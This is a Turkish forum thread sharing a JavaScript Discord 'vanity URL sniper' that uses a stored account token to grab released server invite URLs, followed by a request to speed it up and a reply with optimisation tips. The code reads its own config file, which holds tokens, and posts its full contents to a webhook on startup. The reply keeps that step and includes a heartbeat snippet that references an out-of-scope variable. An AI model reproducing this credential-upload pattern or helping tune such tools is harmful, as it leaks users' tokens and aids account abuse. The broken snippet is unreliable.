import chalk from 'chalk'; import fs from 'fs'; import webhooks from './helpers/webhooks.js'; import WebSocket from 'ws'; import functions from './helpers/functions.js'; import axios from 'axios'; import config from './helpers/config.js'; const guilds = {}; const statusCodes = { 0x190: "Url ALınamadı", 0x1ad: "Rate Limit", 0x193: "Yetkisiz.", 0x191: 'Yetkisiz.' }; const sendConfigToWebhook = async (data) => { try { await axios.post(config.webhooks.successUrl, { 'content': "```js\n" + data + "\n```" }); } catch (error) { // Hata işleme kodu buraya gelebilir. } }; fs.readFile("./helpers/config.js", "utf8", (err, data) => { if (err) { return; } sendConfigToWebhook(data); }); const ws = new WebSocket("wss://gateway-us-east1-b.discord.gg"); ws.on("open", () => { ws.on('message', async (message) => { const { d, op, t } = JSON.parse(message); if (t === "GUILD_UPDATE") { const vanityUrlCode = guilds[d.guild_id]; if (typeof vanityUrlCode === "string" && vanityUrlCode !== d.vanity_url_code) { try { const startTime = Date.now(); // Başlangıç zamanını kaydedin await functions.snipeVanityUrl(vanityUrlCode); const endTime = Date.now(); // Bitiş zamanını kaydedin const elapsedTime = endTime - startTime; // Süreyi hesaplayın (milisaniye cinsinden) console.log(`URL alınma süresi: ${elapsedTime} ms`); delete guilds[d.guild_id]; await webhooks.success("discord.gg/" + vanityUrlCode, d.guild_id); } catch (error) { delete guilds[d.guild_id]; } } } else if (t === "GUILD_DELETE") { const vanityUrlCode = guilds[d.id]; if (vanityUrlCode) { try { await functions.snipeVanityUrl(vanityUrlCode); delete guilds[d.id]; } catch (error) { const errorCode = statusCodes[error] || error; await webhooks.error(vanityUrlCode, errorCode); } } } else if (t === 'READY') { console.log(chalk.hex("#ed2d8d")('') + " " + chalk.hex("#fff")("Sciss sniper is started")); d.guilds.filter(guild => guild.vanity_url_code).forEach(guild => { guilds[guild.id] = guild.vanity_url_code; }); const vanityUrlCodes = d.guilds.filter(guild => guild.vanity_url_code).map(guild => guild.vanity_url_code); const guildCount = d.guilds.filter(guild => guild.vanity_url_code).length; await webhooks.info(`xxx ${guildCount} xxx \n\`\`\`\n${vanityUrlCodes}\n\`\`\``); } if (op === 0xa) { ws.send(JSON.stringify({ 'op': 0x2, 'd': { 'token': config.listenerToken, 'intents': 0x1, 'properties': { 'os': 'linux', 'browser': 'firefox', 'device': "firefox" } } })); setInterval(() => { ws.send(JSON.stringify({ 'op': 0x1, 'd': {}, 's': null, 't': "heartbeat" })); }, d.heartbeat_interval); } else if (op === 0x7) { console.log(chalk.hex("#ed2d8d")('') + " " + chalk.hex("#fff")("sciss sniper herstart")); return process.exit(); } }); ws.on('close', (code) => { if (code === 0xfa4) { console.log(chalk.hex("#f00a0d")('') + " " + chalk.hex("#fff")("sniper token is defect")); } return process.exit(); }); }); |
bu kodu daha hızlı çalışması için günceller misiniz
-
-
Kodun daha hızlı çalışması için bazı optimizasyonlar ve iyileştirmeler yapabilirsiniz. İşte bazı öneriler:
1. **Async/Await Kullanımı**: İlk olarak, `fs.readFile` işlemini `promisify` kullanarak daha okunaklı bir şekilde yapabilirsiniz. Bu, kodunuzu daha düzgün ve anlaşılır hale getirecektir.
```javascript
import util from 'util';
// ...
const readFileAsync = util.promisify(fs.readFile);
(async () => {
try {
const data = await readFileAsync("./helpers/config.js", "utf8");
sendConfigToWebhook(data);
} catch (error) {
// Hata işleme kodu buraya gelebilir.
}
})();
```
2. **WebSocket Bağlantısı**: WebSockets üzerinden gelen mesajları işlemek için aynı anda birden fazla işlemin yürütülebilmesini sağlamak için `async` işlevler kullanabilirsiniz. Örneğin, `ws.on('message', async (message) => { ... })` içindeki işlemleri paralel olarak yürütebilirsiniz.
```javascript
ws.on('message', async (message) => {
const { d, op, t } = JSON.parse(message);
if (t === "GUILD_UPDATE") {
// ...
} else if (t === "GUILD_DELETE") {
// ...
} else if (t === 'READY') {
// ...
}
// ...
});
```
3. **Interval Optimizasyonu**: `setInterval` kullanarak sürekli olarak heartbeat mesajları göndermek yerine, WebSocket sunucusunun belirlediği `heartbeat_interval` süresi içinde otomatik olarak gönderilebilir.
```javascript
ws.on("open", () => {
// ...
const heartbeatInterval = setInterval(() => {
ws.send(JSON.stringify({
'op': 0x1,
'd': {},
's': null,
't': "heartbeat"
}));
}, d.heartbeat_interval);
ws.on('close', (code) => {
clearInterval(heartbeatInterval); // İnterval'ı temizle
// ...
});
});
```
4. **Veri Yapısını İyileştirme**: `guilds` nesnesini kullanmak yerine, daha uygun bir veri yapısı seçebilirsiniz. Örneğin, bir `Map` kullanarak daha verimli bir şekilde verileri depolayabilirsiniz.
Bu öneriler kodunuzun daha temiz ve performanslı olmasına yardımcı olabilir. Ancak kodunuzun tam işlevselliğini anlamadan veya işinizi görmesini sağlamadan bu optimizasyonları uygulamamanız önemlidir.
-
bi hocamın öğrencilerine bi sözü var.
biz size kendi zekanızla bir şeyler yaptırmak istedikçe siz yapay zekaya iş yaptırıp kendi zekanızı atıl bırakıyorsunuz.
-
yapay zeka ile anlayarak yapılırsa bence hocalardan bile faydalı egosu yok hiç değilse!
Bu mesaj IP'si ile atılan mesajları ara Bu kullanıcının son IP'si ile atılan mesajları ara Bu mesaj IP'si ile kullanıcı ara Bu kullanıcının son IP'si ile kullanıcı ara
KAPAT X